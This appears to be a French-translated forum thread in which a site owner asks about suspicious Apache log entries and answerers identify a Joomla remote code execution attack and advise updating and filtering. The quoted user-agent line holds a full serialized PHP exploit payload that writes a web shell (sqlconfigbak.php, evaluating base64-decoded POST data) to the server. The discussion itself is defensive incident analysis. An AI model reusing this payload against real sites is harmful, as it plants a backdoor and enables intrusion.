L'identification de l'agent utilisateur a-t-elle été utilisée pour certaines techniques d'attaque par script?

Les entrées du journal d'accès Apache sur mon site sont généralement les suivantes:

207.46.13.174 - - [31 / Oct / 2016: 10: 18: 55 +0100] "GET / contact HTTP / 1.1" 200 256 "-" "Mozilla / 5.0 (compatible; bingbot / 2.0; + http: // www .bing.com / bingbot.htm) "0,607 MISS 10.10.36.125:104 0.607

afin que vous puissiez voir le champ user-agent là-bas. Mais aujourd'hui, j'ai également trouvé un champ user-agent utilisé comme ceci:

62.210.162.42 - - [31 / Oct / 2016: 11: 24: 19 +0100] "GET / HTTP / 1.1" 200 399 "-" "} __ test | O: 21:" JDatabaseDriverMysqli ": 3: {s: 2 : "fc"; O: 17: "JSimplepieFactory": 0: {} s: 21: "\ 0 \ 0 \ 0disconnectHandlers"; a: 1: {i: 0; a: 2: {i: 0; O: 9: "SimplePie": 5: {s: 8: "sanitize"; O: 20: "JDatabaseDriverMysql": 0: {} s: 8: "feed_url"; s: 242: "file_put_contents ($ _ SERVER [$ DOCUMENT_ROOT") ] .chr (47). "sqlconfigbak.php", "| = | \ x3C" .chr (63). "php \ x24mujj = \ x24_POST ['z']; if (\ x24mujj! = '') {\ x24xsser = base64_decode (\ x24_POST ['z0']); @ eval (\ "\\\ x24safedg = \ x24xsser; \");} "); JFactory :: getConfig (); exit;"; s: 19: " cache_name_function "; s: 6:" assert "; s: 5:" cache "; b: 1; s: 11:" cache_class "; O: 20:"JDatabaseDriverMysql ": 0: {}} i: 1; s: 4:" init ";}} s: 13:" \ 0 \ 0 \ 0connection "; b: 1;} ~ Ů" 0.304 BYPASS 10.10.36.125:104 0,304

C'était une attaque? La prochaine entrée de journal semble avoir récupéré avec succès le fichier (code 200) sqlconfigbak.phpmentionné dans le script. Bien que je ne trouve pas le fichier dans le système de fichiers:

62.210.162.42 - - [31 / oct / 2016: 11: 24: 20 +0100] "GET //sqlconfigbak.php HTTP / 1.1" 200 399 "http://www.googlebot.com/bot.html" "Mozilla /5.0 (compatible; Googlebot / 2.1; + http: //www.google.com/bot.html) "0.244 BYPASS 10.10.36.125:104 0.244

S'il vous plaît, que se passait-il ici?

Il s'agit d'une attaque Joomla 0 Day. Informations trouvées ici: https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html

Ce n'est pas un test de vulnérabilité malgré le __test. C'est une attaque.

Assurez-vous que toute installation de Joomla est aussi à jour que possible.

Une autre option consiste à simplement utiliser .htaccess pour intercepter cet exploit en recherchant une chaîne commune, "__test" fonctionnerait et rediriger vers un autre endroit.

L'adresse IP que vous avez liée ne se résout pas en un nom d'hôte Google, ce n'est donc pas Google. La personne ou le bot analyse votre site à la recherche de vulnérabilités. Le premier tente de trouver une vulnérabilité Joomla.

Ces événements se produisent régulièrement sur la plupart des sites Web. Vous devez vous assurer de suivre les meilleures pratiques et de durcir votre site Web, le processus est long et vous devrez trouver et suivre un didacticiel en ligne.

En plus des autres réponses, notez que le fait que cette attaque ait apparemment fonctionné suggère que vous utilisez une ancienne version non sécurisée de PHP. Un correctif pour le bogue que cette attaque exploite a été publié en septembre 2015. Exécutez votre processus de mise à jour et assurez-vous qu'il extrait la version la plus récente de PHP. Et vérifiez également les autres programmes obsolètes accessibles sur Internet, car il semble que votre serveur n'a pas été mis à jour depuis au moins un an.